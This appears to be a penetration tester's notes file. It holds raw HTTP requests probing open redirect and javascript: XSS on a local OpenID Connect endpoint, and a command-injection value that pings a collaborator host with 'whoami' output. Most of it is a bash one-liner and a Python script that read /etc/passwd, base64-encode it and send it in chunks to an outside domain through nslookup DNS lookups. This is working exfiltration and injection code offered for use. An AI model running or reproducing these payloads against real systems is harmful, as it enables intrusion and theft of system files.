GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=javascript:alert()&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=form_post&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1 
Host: localhost:8080

GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=javascript:alert()&redirect_uri=K&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=form_post&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1 
Host: localhost:8080

GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=https://google.com&redirect_uri=K&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=fragment&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1 
Host: localhost:8080

GET /auth/realms/master/protocol/openid-connect/logout?redirect_uri=https://google.com HTTP/1.1 
Host: localhost:8080

name=val`ping -с 1 $(whoami).collaborator`ue

Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.

`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`

bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'

import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
    for lineNumber, line in enumerate(file, 1):
        encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
        parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

        for part, chunk in enumerate(parts, 1):
            os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
            time.sleep(delay)